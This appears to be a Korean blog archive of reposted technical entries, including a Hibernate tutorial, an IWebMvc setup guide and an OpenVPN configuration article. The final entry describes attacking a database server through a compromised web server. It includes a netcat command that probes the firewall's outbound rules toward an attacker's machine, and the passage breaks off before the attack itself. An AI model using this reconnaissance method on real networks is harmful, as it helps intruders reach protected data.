    태그는 dialect를 구성한다. 당신의 데이터베이스에 맞게 이것을 변경하라. 당신의 데이터베이스를 위한 dialect를 찾기 위해 Hibernate 레퍼런스의 “SQL Dialects” 장에서 찾아보라.

    de.laliluna.example 패키지 내에 Honey.hbm.xml을 생성시키고 그것을 다음으로 변경하라:

    PostgreSQL 버전:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE hibernate-mapping PUBLIC "-//Hibernate/Hibernate Mapping DTD 3.0//EN" "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd" >
    <hibernate-mapping>
     <class name="de.laliluna.example.Honey" table="honey">
     <id name="id" column="id" type="java.lang.Integer">
    		<generator class="sequence">
    				<param name="sequence">honey_id_seq</param>
    			</generator>
    
     </id>
     
     <property name="name" column="name" type="java.lang.String" />
     <property name="taste" column="taste" type="java.lang.String" />
     </class>
    </hibernate-mapping>


     

    MySQL 버전:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE hibernate-mapping PUBLIC "-//Hibernate/Hibernate Mapping DTD 3.0//EN" "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd" >
    <hibernate-mapping>
     <class name="de.laliluna.example.Honey" table="honey">
     <id name="id" column="id" type="java.lang.Integer">
     <generator class="increment"/>
     </id>
     <property name="name" column="name" type="java.lang.String" />
     <property name="taste" column="taste" type="java.lang.String" />
     </class>
    </hibernate-mapping>


     

    이 파일에서 우리의 클래스 Honey로부터 데이터베이스 테이블 honey로의 매핑이 구성되어 있다.

    테스트 클라이언트를 생성한다

    “de.laliluna.example” 패키지 내에 Java 클래스 “TestClient”를 생성시킨다.

    다음 소스 코드를 추가한다. 그것은 데이터베이스 내에 엔트리들을 생성시키는 메소드, 그것들을 업데이트하고 리스트하는 메소드들을 포함하고 있다.

    /**
     * Test application for example 
     * @author Sebastian Hennebrueder
     * created Jan 16, 2006
     * copyright 2006 by http://www.laliluna.de
     */
    
    package de.laliluna.example;
    
    import java.util.Iterator;
    import java.util.List;
    
    import org.apache.log4j.Logger;
    import org.hibernate.HibernateException;
    import org.hibernate.Session;
    import org.hibernate.Transaction;
    
    import de.laliluna.hibernate.InitSessionFactory;
    
    public class TestExample {
    
    	private static Logger log =Logger.getLogger(TestExample.class);
    	/**
    	 * @param args
    	 */
    	public static void main(String[] args) {
    		Honey forestHoney = new Honey();
    		forestHoney.setName("forest honey");
    		forestHoney.setTaste("very sweet");
    		Honey countryHoney = new Honey();
    		countryHoney.setName("country honey");
    		countryHoney.setTaste("tasty");
    		createHoney(forestHoney);
    		createHoney(countryHoney);
    		// our instances have a primary key now:
    		log.debug(forestHoney);
    		log.debug(countryHoney);
    		listHoney();
    		deleteHoney(forestHoney);
    		listHoney();
    
    	}
    
    	private static void listHoney() {
    		Transaction tx = null;
    		Session session = InitSessionFactory.getInstance().getCurrentSession();
    		try {
    			tx = session.beginTransaction();
    			List honeys = session.createQuery("select h from Honey as h")
    					.list();
    			for (Iterator iter = honeys.iterator(); iter.hasNext();) {
    				Honey element = (Honey) iter.next();
    				log.debug(element);
    			}
    			tx.commit();
    		} catch (HibernateException e) {
    			e.printStackTrace();
    			if (tx != null && tx.isActive())
    				tx.rollback();
    
    		}
    	}
    
    	private static void deleteHoney(Honey honey) {
    		Transaction tx = null;
    		Session session = InitSessionFactory.getInstance().getCurrentSession();
    		try {
    			tx = session.beginTransaction();
    			session.delete(honey);
    			tx.commit();
    		} catch (HibernateException e) {
    			e.printStackTrace();
    			if (tx != null && tx.isActive())
    				tx.rollback();
    		}
    	}
    
    	private static void createHoney(Honey honey) {
    		Transaction tx = null;
    		Session session = InitSessionFactory.getInstance().getCurrentSession();
    		try {
    			tx = session.beginTransaction();
    			session.save(honey);
    			tx.commit();
    		} catch (HibernateException e) {
    			e.printStackTrace();
    			if (tx != null && tx.isActive())
    				tx.rollback();
    		}
    	}
    }


     

    축하합니다. 당신은 Hibernate 세계에서 당신의 첫 번째 단계들을 마쳤습니다. 

    우리는 당신이 Hibernate 세계에 빠르게 진입하기를 원했다. Hibernate를 사용하는 많은 복잡한 토픽들과 더 나은 구현이 존재한다. 예를 들어, 각각의 메소드 내에서 세션을 열고 닫는 것은 좋은 연습이 아니다. 하나의 세션은 재사용될 수 있으며 그 동안에 많은 시간을 절약한다.

    당신이 최상의 실전에 대해 더 많은 것을 배우고자 원할 경우 우리의 세미나 또는 다른 튜토리얼을 살펴보길 바란다.

    Copyright and disclaimer

    This tutorial is copyright of Sebastian Hennebrueder, laliluna.de. You may download a tutorial for your own personal use but not redistribute it. You must not remove or modify this copyright notice.(이 튜토리얼은 Sebastian Hennebrueder, laliluna.de에 저작권이 있다. 당신은 당신 자신의 개인 용도로 튜토리얼을 내려받을 수 있지만 그것을 재배포할 수 없다. 당신은 이 저작권 경고를 제거하지 말아야 하거나 변경시키지 말아야 한다.이하 생략...)

    The tutorial is provided as is. I do not give any warranty or guaranty any fitness for a particular purpose. In no event shall I be liable to any party for direct, indirect, special, incidental, or consequential damages, including lost profits, arising out of the use of this tutorial, even if I has been advised of the possibility of such damage.

    Posted by 1010
    90.개발관련문서2008. 7. 24. 18:10
    반응형

    Main Page

    From MDC

    Image:Firefoxlogo2.png

    Firefox 3 for developers

    Firefox 3 has been released, and is now available for download. See Firefox 3 for developers for developer documentation.

    The Truth About JavaScript

    Get a sneak peek at upcoming changes to JavaScript from Brendan Eich.

    Mozilla Developer Center contents

    Topics

    Mozilla internals

    Application and component framework

    Technologies

    • AJAX - Asynchronous JavaScript and XML
    • CSS - Cascading Style Sheets
    • DOM - Document Object Model
    • HTML - Hypertext Markup Language
    • JavaScript
    • NSS - Network Security Services
    • RDF - Resource Description Framework
    • RSS - Really Simple Syndication
    • SVG - Scalable Vector Graphics
    • XBL - Extensible Binding Language
    • XForms - XML Forms
    • XML - Extensible Markup Language
    • XML Web Services - SOAP, XML-RPC, etc.
    • XPath - XML Path Language
    • XSLT - Extensible Stylesheet Language Transformations
    • XUL - XML User Interface Language

    Mozilla Developer Center


    Mozilla Developer Center blogs

    Mozilla Developer News

    MDC Webwatch

    Posted by 1010
    01.JAVA/Java2008. 7. 24. 13:57
    반응형
    JSP Tips
    http://www.okjsp.pe.kr/seq/42732
    유효하지 않는 전자메일 2004-03-18 00:19:30.0
    park17@empal.com http://www.gampol.net
    자바로 썸네일 빈즈를 함 만들어 보았네요..!!!

    테스트 환경

    j2sdk1.4.x
    jai 1.x
    window 2000, Linux
    Tomcat 4.1.x


    www.gampol.net에서 테스트 해 보실수 있습니다.

    집에있는 컴이라 보통 저녁 10시까진 On상태이고

    제가 잠잘때는 Off상태입니다.


    먼저 SUN사이트에서 jai(Java Advanced Imaging 1.1.2)
    를 다운로드 받으셔야 합니다.

    http://java.sun.com/products/java-media/jai/downloads/download-1_1_2.html

    다운 받고 압축이나 실행파일을 실행 하시면

    jai_codec.jar, jai_core.jar

    파일을 CLASSPATH에 추가하시고

    JAVA_OPTS="-Djava.awt.headless=true"

    또는

    CATALINA_OPTS="-Djava.awt.headless=true"

    환경변수를 셋팅하시고

    또는 빈즈나 서블릿 실행시

    System.setProperty("java.awt.headless", "true");

    이걸 추가 하시기 바랍니다.


    메소드는 대충 보시면 아실겁니다..

    배율, 넓이높이 지정

    파일로도 저장 가능하고 서버에 있는 이미지를 웹상에서 걍 보여 줄수도 있습니다.


    문의 사항이나 버그가 있으면

    park17@empal.com으로 연락 바랍니다.

    그럼 유용하게 사용하시기 바랍니다..

    출처 : Tong - 설레임중독자님의 JAVA통

    Posted by 1010
    98..Etc/Etc...2008. 7. 24. 13:40
    반응형
     삽질 소감 -
    아직 다듬어질려면 멀었고 관련 문서도 없는데가가 거의 이사람 혼자 만들어 공개한것으로 보인다. 소스코드는 제법 튼실해 보이고, 참고할만한 각종 유틸성 기법들이 유용하게 보인다. 그러나 일반 유저가 코드를 돌려보기엔 접근성이 상당히 떨어진다. 잘~ 하면 중간에 흔적도 없이 살아질 프로젝트 같다.

    소스코드에서도 확인할수 있고 테스트한 동영상을 봐도 확인할수 있겠지만 이것은 공용(?) 어플리케이션 프레임웍(AP)를 표방(? 흉내?)하고 있다. 그래서 설정이 복잡하다 약간만 환경을 바꾸거나, 꼬여도 에러잡기가 힘들다. (Library의존성은 왜이리 꼬였는지...) Appfuse와는 보다 더 많은걸 구현하다 보니 상당부분 유연성을 포기하고 대신에 틀에 맞는 편리함을 제공하고 있다. 여전히 더 지켜봐야 할것 같다.

    그래도 흔적을 남기는 이유는 AP를 구경하기 쉬운게 아니기 때문에....

    동영상 및 소스코드 다운로드 : Download Link (동영상은 Demo.rar)


    IWebMvc Milestone 3 released

    By Jose Noheda

    I've been working hard to polish a lot of aspects of IWebMvc for this milestone 3 and finally today I've finished. The result is a much more mature product that starts to resemble a usable framework. Nonetheless, I had time to add new features as well, some of them really important!

    Let's review some of them:
    • Security
      IWebMvc now supports Spring security 2.0 based authentication and authorization using the new security namespace possibilities.
      • Spring Security 2.0 RC1
        The new version of Acegi is fully configured. Declarative security enabled.
      • Database realm
        Users / Roles are persisted in DB as any other entity.
      • User Administration
        CRUD operations to add / edit users, assign permissions and toggle (enable/disable) them are provided out-of-the-box.
      • Login / log off widget
        Working and easily integrated form based authentication. Default user/password combination is iwebmvc/iwebmvc (change it in iwebmvc.properties file)
      • Captcha widget
        AJAX validated captcha to enable human detection.
      • Remember me
        The framework will auto-login a user if so desires and will store authentication info using cookies.
    • Preliminary documentation
      A long standing due. A good percentage of the client interface is documented using the demo application.
    • Widgets
      • I18n Text
        A user can attempt to automatically translate texts into any of the supported languages using the Google AJAX Translation API
      • Tree (Hierarchy) widget
        New in this version, a user can build a tree of generic nodes and modify it as wished.
      • Grid (Table) widget
        The new grid supports a contextual menu, filtering (in addition to paging and ordering), inline edition of cell data (with AJAX storage management), cell content view (for data that exceeds column width) and auto width/height
      • Form widget
        Allows to check required fields before submitting and sending complete forms using JSON.
      • Other widgets
        Everything has been revamped a little or a lot.
    • Miscellaneous
      • YUI compression
        All JS is minified before sent (in addition to GZIP). This isn't activated by default in development environments.
      • Audit
        All create / update / delete operations are transparently audited (user, operation type, date/time, affected record, ...)
      • RSS feeds
        A generic framework to obtain RSS feeds of any entity has been developed. Example feeds have been created for audit operations.
      • DWR custom converters
        Working with JPA entities in JS is easier with the UUID and the Class converters.
      • IE7/Opera support
        A lot of work has been invested in making IWebMvc compatible with other browsers. IE7 is fully compatible with this release (though this bug in dojo affects any page that contains an Editor). Opera support is preliminary but a good chunk of the code is working.
      • Upgraded libraries
        In particular, to dojo 1.1 final but Spring, Hibernate and many others as well. Important: Netbeans project files have been migrated to v6.1beta to get rid of some absolute paths and facilitate project sharing (and include sources and ...). I've just tested this release with Netbeans/Glassfish & Ant/Jetty (though Eclipse/tomcat should still work fine).
    And dozens of bug fixes and other issues. All in all, a decent work! Remember that you can download it from the repository. Or save time by watching the (trimmed) screencast (you may need this codec). Enjoy it!

    출처 :  http://internna.blogspot.com/2008/04/iwebmvc-milestone-3-released.html
    Posted by 1010
    98..Etc/Etc...2008. 7. 24. 13:39
    반응형

    이거 한번 돌려 보자.

    1. JDK 5.x 이상 버젼에서 돌아간다.
        ( 기본환경은 JDK5.x이상 + Ant1.7.x이상 + Eclipse3.3이상의 환경이다. )
       1.1 대충 눈치껏 설치한다.

    2. MySql-5.x이상 다운받아 설치한다.
       2.1 다운 받는다.(나는 인스톨버젼이 아닌 압축버젼을 받았다.)
       2.2 적당한 디렉토리에 압축을 풀고 mysql-nt.exe를 실행시킨다.
       2.3 Dos Command 창에서 해당 디렉토리로 이동한다.
       2.4 mysql -uroot mysql 명령으로 접속후 create database iwebmvc; 명령으로 DB를 생성한다.
       2.5 mysql은 여전히 기동시켜 둔다.

    사용자 삽입 이미지

    3. ivy를 설치하고 테스트 한다.
       3.1 Apache ivy를 다운로드 한다.(현재 2.0.0 Beta2 이다)
       3.2 적당한 디렉토리에 압축을 풀면 jar파일이 두개 있다. 그걸 Ant의 lib 폴더에 복사한다.
       3.3 Dos Command 창에서 ivy 디렉토리로 이동한다.
       3.4 의 ivy 디렉토리에서 src\example\hello-ivy로 이동한후 ant 를 실행한다.
       3.5 Build가 성공하면 된다.
    사용자 삽입 이미지

    4. IWebMvc 다운로드 페이지에서 다운로드 받는다.
       4.1 IWebMvc에서 IWebMvc - Milestone 3.zip 을 다운로드 한다.
          (SVN도 제공한다. http://internna.googlecode.com/svn/trunk/IWebMvc)
       4.2 적당한 디렉토리에 압축을 푼다.
       4.3  iwebmvc.properties를 찾아서 mysql설정을 확인한다.(WEB-INF폴더에 있다.)

    5. ant 빌드를 한다.
       5.1  Dos Command 창에서 IWebMvc 디렉토리로 이동한다.
       5.2 run.bat를 실행한다. (각종 jar파일을 다운받기 때문에 시간이 걸린다.)
       5.3 에러없이 빌드가 성공되면 정상이다.
           (최종 빌드에서 에러가 나더라도 ivy에서 jar파일 다운로드까지 성공하면 된다.)
    사용자 삽입 이미지

    6. Eclipse 프로젝트로 import한다.
       6.1 해당 디렉토리를 찾아 import 시킨다.
       6.2 라이브러리 경로가 안맞는다.(소스관리는 징하게 못한다.-_-;;; 좀좀.. 잘 정리하면 안되나?)
            - 신기하게 Unit Test 파일이 없다.(제거하고 배포한건지...)
       6.3 수동으로 찾아서 관련된 *.jar파일을 찾아서 연결하여 오류를 제거한다.
    사용자 삽입 이미지

    7. Eclipse 내부 Tomcat으로 'Run as'를 실행한다.
       7.1 Run as를 실행한다.
       7.2 만약 DB가 오라클이라면 안된다. (왜? 테이블생성 스크립트가 기본으로 Mysql이다. ㅡㅡ; )
       7.3 DB Table생성까지 성공적으로 되었다면 Tomcat이 정상적으로 올라온다.

    8. 해당 사이트를 확인 한다.
       8.1 avi 동영상을 미리 봤다면 알겠지만 해당 화면이 나타난다.
    사용자 삽입 이미지

    9. CRUD 소개 동영상으로 따라 해본다.
       9.1 두개의 동영상이 있다 각각 다운받아 따라해 보자.
            Link : http://code.google.com/p/internna/downloads/list
    Posted by 1010
    98..Etc/Etc...2008. 7. 24. 13:22
    반응형

    원격 데스크탑에서 Ctrl+Alt+Del키를 쓸 일이 있다면 del키 대신 end를 누르면 된다.

    Posted by 1010
    61.Linux2008. 7. 24. 13:21
    반응형

    [시큐리티 팁!팁!팁!] OpenVPN을 이용한 VPN 구현

     

    VPN의 종류와 필요성에 대해서는 많은 이들이 숙지하고 있다. 하지만 비용이나 불편함 때문에 실제 도입을 꺼려지는 경우가 상당수에 이르는데, 이는 오픈소스로 개발돼 배포중인 OpenVPN이라는 프로그램을 통해 극복할 수 있다. VPN 도입의 가장 큰 걸림돌이었던 비용 문제를 해결하면서 고성능의 VPN을 구현할 수 있도록 지원하는 OpenVPN의 특징에 대해 알아보자.

    VPN의 종류와 필요성에 대해서는 많은 이들이 숙지하고 있다. 하지만 비용이나 불편함 때문에 실제 도입을 꺼려지는 경우가 상당수에 이르는데, 이는 오픈소스로 개발돼 배포중인 OpenVPN이라는 프로그램을 통해 극복할 수 있다. VPN 도입의 가장 큰 걸림돌이었던 비용 문제를 해결하면서 고성능의 VPN을 구현할 수 있도록 지원하는 OpenVPN의 특징에 대해 알아보자.

     

    - OpenVPN은 하나의 UDP 포트를 통해 모든 트래픽을 터널링할 수 있다. 즉 웹 접속(HTTP)을 하거나 DNS 질의를 할 때(UDP/53), ping(ICMP)을 날려도 중간에 패킷을 캡처하면 500/UDP를 통해 전송되는 것처럼 보이게 한다.


    - 안전한 VPN 통신을 위해 별도의 모듈이 필요없이 널리 사용하고 있는 OpenSSL에서 지원하는 강력한 암호화와 인증 기능 등을 그대로 이용할 수 있다.


    - OpenVPN은 시스템 내에서 별도의 데몬 형태로 작동하기 때문에 IPsec 기반의 VPN 프로그램처럼 복잡한 커널 패치나 커널 모듈이 필요하지 않으며, 설치 방법도 간단하다.


    - 모든 패킷이 VPN을 통해 터널링되고 압축 혹은 암호화됨에도 불구하고 시스템에 부하를 유발하지 않으며, 속도도 빠르다.

     

    이외에도 OpenVPN은 많은 특징과 확장 가능성을 가지고 있다. 더 자세한 내용은 홈페이지(http://openvpn.net/)를 참고하기 바란다.


    지금부터는 OpenVPN을 이용해 (그림 1)처럼 전자우편이나 웹 서버 등의 용도로 많이 사용되는 리눅스 서버와 윈도우 PC 간에 VPN을 연동해 안전한 네트워크를 구성하는 사례를 살펴보자.



     

    (그림 1)처럼 IDC 등의 전산 센터에 있는 서버에 VPN 데몬을, PC에 VPN 클라이언트 프로그램을 설치한다. 그 뒤 VPN 서버에 접속해 인증을 받으면, VPN 서버로부터 별도의 VPN용 IP를 할당받아 VPN 터널을 통해 접속할 수 있다.


    물론 이때의 서버 접속은 인터넷은 물론 VPN 터널을 통해서도 가능하다.

     

     

    ·VPN 서버 설치와 설정


    먼저 서버에서 VPN 데몬을 설정하자. OpenVPN에서는 TUN이나 TAP이라는 별도의 가상 인터페이스로 VPN 통신을 하므로, 우선 커널에서 이 드라이버를 지원하도록 다음과 같이 설정한 뒤 커널을 컴파일해야 한다.

     

    [*]   Universal TUN/TAP device driver support

     

    이후 디바이스를 설정하기 위해 다음의 명령어를 실행하는데, 이미 설정돼 있는 경우가 대부분이다.

     

    # mkdir /dev/net
    # mknod /dev/net/tun c 10 200
                             
    다음으로 OpenVPN을 설치하기 전에 OpenSSL과 LZO라는 두 프로그램을 먼저 설치한다. 이들 프로그램은 VPN 이용 시, 패킷을 암호화하고 압축해 전송할 때 필요한 모듈로, 다음 사이트에서 다운로드해 설치하면 된다.
     
    * OpenSSL :
    http://www.openssl.org/
    * LZO      :
    http://www.oberhumer.com/opensource/lzo/

     

    프로그램 설치가 끝났으면 OpenVPN 홈페이지에서 소스를 다운로드해 './configure ; make; make install'로 설치하면 된다. VPN 클라이언트와 서버 간 인증을 위해서는 인증서가 필요하므로 먼저 서버에서 인증서를 생성한다. 인증서를 생성할 때나 사인을 할 때는 OpenSSL을 이용하므로 미리 설치돼 있어야 한다.


    먼저 Root CA 인증서와 비밀키를 생성해야 하는데, 다음 명령어를 실행하면 1년 동안 유효한 CA와 비밀키(개인키)를 생성할 수 있다.

     

    # openssl req -nodes -new -x509 -keyout my-ca.key -out my-ca.crt -days 365

     

    다음은 클라이언트와 서버에서 사용할 키를 각각 생성한다.

     

    # openssl req -nodes -new -keyout client.key -out client.csr
    # openssl req -nodes -new -keyout server.key -out server.csr

     

    Root CA를 이용해 서버와 클라이언트 인증서에 각각 사인한다. 

     

    # openssl ca -out server.crt -in server.csr
    # openssl ca -out client.crt -in client.csr

     

    다음으로 서버에서 암호화 협상 시 필요한 Diffe Hellman 파라미터를 생성한다.

     

    # openssl dhparam -out dh1024.pem 1024


    이제 나머지는 서버에 그대로 두고, client.crt와 client.key 그리고 my-ca.key 파일을 클라이언트 PC의 적당한 디렉토리로 복사하면 된다. 이제 서버의 설정 파일을 살펴보자.

     

    [서버 설정 파일 - openvpn.conf]

     

    port 500 : OpenVPN은 기본적으로 UDP를 이용해 패킷을 터널링해 전달하는데, 이때 포트는 사용되지 않은 어떤 포트를 사용해도 관계없다.

     

    proto udp : 기본 값인 UDP를 사용하는 것이 좋다. TCP는 권장하지 않는다.

     

    dev tap : OpenVPN 서버와 클라이언트 상호 통신에 필요한 인터페이스를 지정하는데, TUN이나 TAP을 지정할 수 있다.

     

    ifconfig 10.105.11.1 255.255.0.0 : VPN 서버가 사용할 IP를 지정한다. TAP에 이 IP가 할당돼 원격지 PC와  통신할 수 있게 되는데, 가급적 사용하지 않는 사설 IP를 사용하는 것이 좋다.

     

    keepalive 10 120 : 클라이언트와 서버 간에 VPN 연동이 활성화됐는지 체크하기 위해 사용되는데, 매 10초마다 ping을 발송해 120초 동안 응답이 없으면 원격지의 네트워크가 다운된 것으로 파악한다는 의미다.

     

    comp-lzo : 압축 알고리즘을 사용하도록 한다. 서버에 이 같이 설정했다면, 클라이언트에도 동일하게 설정하도록 한다.

     

    persist-key
    persist-tun
    user nobody          
    group nobody   
    : 초기화된 후에 OpenVPN 데몬이 nobody 권한으로 작동하도록 한다. 

     

    status       openvpn-status.log
    log          openvpn.log              
    log-append  openvpn.log
    : OpenVPN의 로그를 생성하는 설정이다.

     

    tls-server : SSL 키 교환 시에 서버 역할을 하므로 tls-server로 지정한다.

     

    dh  dh1024.pem
    ca  my-ca.crt             
    cert  server.crt                  
    key server.key
    :  CA 파일이나 인증서의 공개키 혹은 비밀키를 지정한다.

     

    이후 서버에서 --mode server를 추가해 다음과 같이 실행하면 앞에서 지정한 포트로 데몬이 작동하는 것을 확인할 수 있다.

     

    # openvpn --config /etc/server.conf --daemon --mode server



    ·VPN 클라이언트 설치와 설정


    다음으로는 윈도우 PC의 클라이언트 프로그램 설정에 관한 내용을 살펴보자. 윈도우 클라이언트 프로그램으로는 OpenVPN GUI라는 프로그램이 많이 사용되는데, 웹 사이트(
    http://openvpn.se/)에서 다운로드해 설치하면 된다. 설치 이후 '시작->프로그램->OpenVPN'을 선택하면 다음과 같은 메뉴가 보이는데, 여기에서 OpenVPN GUI를 실행하면 된다. 이후 우측의 트레이에 생긴 아이콘에 오른쪽 마우스를 클릭하면 사용 가능한 메뉴가 나오는데, 여기에서 Edit Config를 선택하면 메모장이 뜨면서 설정작업을 진행할 수 있다. 서버 설정과 크게 다르지 않으므로 쉽게 이해될 것이다.
                     

    (화면 1) OpenVPN 메뉴

     

    [클라이언트 설정 파일 - config.ovpn 파일]

     

    remote 220.11.xx.xx : VPN 데몬이 설치돼 있는 서버의 IP를 설정한다.

     

    port 500 : VPN 서버와 통신할 포트를 지정해야 하는데, 서버에서 지정된 포트와 동일한 포트를 설정한다.

     

    proto udp : 역시 기본 값인 UDP를 사용하도록 한다.

     

    dev tap : 앞의 서버와 동일하게 설정한다.

     

    ifconfig 10.105.11.3 255.255.0.0 : VPN 클라이언트 PC에 할당할 IP를 지정한다.

     

    ping 10
    verb 4       
    : 상호간에 망이 살아있는지 확인하기 위해 매 10초마다 ping을 발송한다. 로그 수준은 4로 지정한다.
     
    comp-lzo : 서버에서 지정한대로 압축 알고리즘을 지정한다.

     

    tls-client : SSL을 통한 클라이언트 역할을 하므로 tls-client라고 정의한다.
     
    ca my-ca.crt
    cert client.crt         
    key client.key
    : 서버에서 살펴본 바와 같이 CA와 클라이언트 키를 지정한다. 나머지는 앞에서 살펴본 내용과 동일하다.

     

    설정이 끝난 후 PC에서 OpenVPN GUI를 실행하면 (화면 2, 3과) 같이 서버와 클라이언트 간에 VPN 연동이 되는 것을 알 수 있다. 

    (화면 2)OpenVPN GUI를 통해 연결된 화면

     

    (화면 3)VPN 연결 후 IP 할당 화면

     

    설정이 끝나면 VPN에서 지정된 IP를 할당받게 되고, 비공인 VPN IP로 접속하면 VPN을 통해 안전하게 터널링돼 접속하게 된다. 이때의 VPN 트래픽은 암호화되고 터널링되므로 누군가가 중간에서 가로챘다 하더라도 패킷 내용을 해석할 수 없으므로 스니핑이 불가능하다. 한편, 패킷을 터널링하는 과정으로 인해 다소 속도가 저하될 수 있으나 거의 인지할 수 없는 수준이다.


    VPN을 이용하면 패킷을 암호화하는 것뿐만 아니라 파이어월을 사용할 때도 매우 편리하다. 외국  출장 등을 이유로 외부에서 접속하더라도 VPN을 통하면 항시 고정된 IP를 사용할 수 있기 때문이다. 따라서 파이어월에서는 접속을 허용해야 할 사용자가 유동 IP를 사용하더라도 단 한 개의 UDP 포트만 허용하면 되기 때문에 보안과 편리함 모두를 만족시킬 수 있다.
    지금까지 단순하면서도 가장 많이 사용하는 구조에서의 VPN 활용 방법에 대해 살펴봤다. VPN은 이외의 다양한 환경에서도 응용이 가능하므로 홈페이지를 통해 자세한 내용을 참고하기 바란다.

     

    작성자 : 홍석범 | 오늘과 내일 차장

    작성일 : 2006년 7월호

     

     

    원   문 : http://www.ionthenet.co.kr/newspaper/view.php?idx=11247

    Posted by 1010
    반응형
    My Release 2008/07/18 12:58 by BITINITIALIZE

    사용자 삽입 이미지

    AnySend Secure Mail Viewer v1.0.0.1 (AnySend2008 보안메일 전용 뷰어)

    이 프로그램은 AnySend 2008로 보낸 암호화된 보안메일을 AnySend 2008 비구매자도
    쉽게 확인할 수 있도록 제공되는 무료 프로그램입니다.




    01. 보안메일 보내기 (보내는 사람)
    사용자 삽입 이미지
    AnySend 2008을 가지고 보안 메일을 보내려면 위와 같이 메일 내용을 입력한다


    사용자 삽입 이미지
    프로그램 상단에 보안메일 버튼을 클릭하고 비밀번호를 입력한뒤 Enc/Dec 버튼을 누른다.


    사용자 삽입 이미지
    위와 같이 본문의 내용이 암호화된 것을 확인할 수 있다. 이제 메일전송을 눌러서 메일을 보낸다.


    사용자 삽입 이미지
    위와 같이 메일이 성공적으로 발송된다.



    02. 보안메일 확인하기 (받는 사람)

    사용자 삽입 이미지
    알 수 없는 누군가로부터 메일이 도착해 있다. 확인해보자.



    사용자 삽입 이미지
    위와 같이 본문엔 암호화 되었음을 알리는 메시지와 함께 알 수 없는 문자로 가득차 있다.



    이제 AnySend Secure Mail Viewer로 메일 본문을 확인해보자.
    먼저 프로그램을 실행하고 본문에 있는 알 수 없는 암호화된 문자열을 복사한다.


    사용자 삽입 이미지
    프로그램을 실행해서 복사한 문자열을 붙여넣기 한 후 비밀번호를 정확하게 입력한다.
    입력이 완료되면 '메시지보기' 버튼을 클릭한다.




    사용자 삽입 이미지
    위 그림과 같이 비밀번호를 올바르게 입력하면 정상적으로 메일 본문을 확인할 수 있다.



    이 프로그램은 AnySend 2008의 보안메일을 확인할 수 있는 보안메일 전용 뷰어입니다.

    AnySend 2008 구매자 분들께서는 보안메일을 사용하기 전에 상대방(비구매자)에게
    보안메일 전용 뷰어를 보내주거나 다운로드 받을 수 있도록 알려주셔야 합니다.

    또한 받는 사람은 비밀번호를 반드시 알아야 합니다.
    비밀번호를 모르면 보안메일을 확인할 수 없는 것은 당연한 것입니다.
    또한 발신자/수신자 모두 비밀번호를 잊어버리게 되면 제작자도 확인해 드릴 방법이 없으며
    이것은 제자자의 책임이 아닙니다.

    유용하게 사용하시기 바라며 이 프로그램은 무료 프로그램으로서
    개인/기업/단체/영리/비영리단체 누구나 다운로드하여 사용할 수 있습니다.

    압축을 풀고 설치하신 후 사용할 수 있습니다.


    프로그램 설치파일 다운로드
    Posted by 1010
    98..Etc/Security2008. 7. 24. 12:53
    반응형

    웹서버를 경유한 DB서버 해킹

     

    웹서버를 경유한 DB서버 해킹


    방화벽의 Private또는 DMZ에 웹서버또는 DB와 연동할 수 있는
    서버를 점령 후에 어떻게 DB 서버를 해킹하는가에 대한 궁금증 해결을 위해 작성한 문서이다.
    -----------------------------------------------------------------------------------------------------------------
    I. 네트워크 구성도
    1) 인터넷  -------방화벽------- 웹서버 --------방화벽---------DB서버

    2) 인터넷  -------방화벽------- 웹서버   
                                   DB서버 
                                   (DMZ존)
    ------------------------------------------------------------------------------------------------------------------
    II. 개요
    본 문서에 있는 방법은 이미 다 알고 있는 내용이거나 인터넷에 찾아 보면 다 나오는 내용들이다
    내용상의 틀린 부분이 있으면 지적해 주시면 감사감사~~~
    Private 또는 DMZ에 위치하는 DB 서버를 해킹 하기 위해선
    먼저 DB 접속 인증 id/passwd 또는 sid 를 알아야 하며 또한 웹서버를 경유하여 DB와 접속을 하여야 하므로
    어떤 방법으로든 웹서버는 점령하여야 한다.
    웹서버 점령에 관해서는 이 문서에서는 언급 하지 않는다.
    이유는 너무나 많은 방법이 있으며 나도 그 모든 방법에 대해서 모른다.
    또한 이와 같이 삽질을 안하고도 대다수의 웹서버의 temp,tmp디렉토리 또는 admin 권한으로 DB의 내용을 획득할
    수도 있으나 어쩔수 없이 DB 쿼리를 해야 하는 상황에 대해서 설명한다.
    물론 해당 웹서버를 직접 공격하지 않고 sql injection 공격을 할 수 있으면 아래와 같은 삽질은 하지 않아도 될것이다.
    일단 방화벽 내의 웹서버를 점령한 후 DB서버를 해킹 하는 방법은 상당히 많은
    방법이 있으며 dbms의 종류 웹서버의 종류 cgi의 종류에 따라 많은 조합의 공격법이 있다.
    또한 DB 서버를 해킹할때 root권한 획득과 같은 방법은 별 필요가 없을 것이다.
    왜냐하면 결국 DB 서버의 해킹의 목적은 DB의 내용을 획득하는 것이기 때문에 root권한이 필요가 없다.
    DB를 쿼리하기 이전에 웹서버 앞의 Firewall Rule에 따라 접근개념이 틀려 질 수 있으므로
    아래와 같이 크게 2가지 분류로 나누어 접근하도록 하겠다.
    Firewall Rule을 파악하기 위해서 공격자의 PC에 Sniffing Tool을 설치하고 해당 웹서버에는 nc를 설치한다.
    공격자의 PC에서는 해당 웹서버에서 공격자 PC로 전송되는 패킷에 대한 검사를 수행하고
    해당 웹서버에서는 다음과 같이 실행한다
    nc -v -w2 -z [공격자 PC IP] 1-65535
    이는 해당 웹서버에서 공격자 PC로의 어떤 서비스가 통과 가능한지 파악하기 위함이다.
    Firewall Rule에서 특정 서비스에 대해서만 Accept되어 있을 수 있다 예를 들어 외부로 나가는 dns또는 특정 Application의
    update서비스와 같이 특정 서비스만 Accept되어 있으면 그 서비스를 판단할 수 있다.
    또한 공격자의 PC에서 Sniffing을 설치하여 패킷 검사를 하는 이유는 nc는 nmap과 같이 closed와 filtered를 구분하지
    못하기 때문에 수동으로 패킷을 검사하여 확인을 한다.
    nc수행 결과 공격자의 PC로 한개 이상의 syn 패킷이 전송이 된다면 아래 1번 방법으로 DB 쿼리가 가능하다
    2번 방법은 웹서버에서 인터넷구간으로의 Outbound Rule이 서비스 전체에 대해 Deny일 경우로
    해당 웹서버의 cgi를 이용하여 DB쿼리를 수행한다.

    -------------------------------------------------------------------------------------------------------------------
    III. 실전 DB 해킹
    1) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Accept인 경우
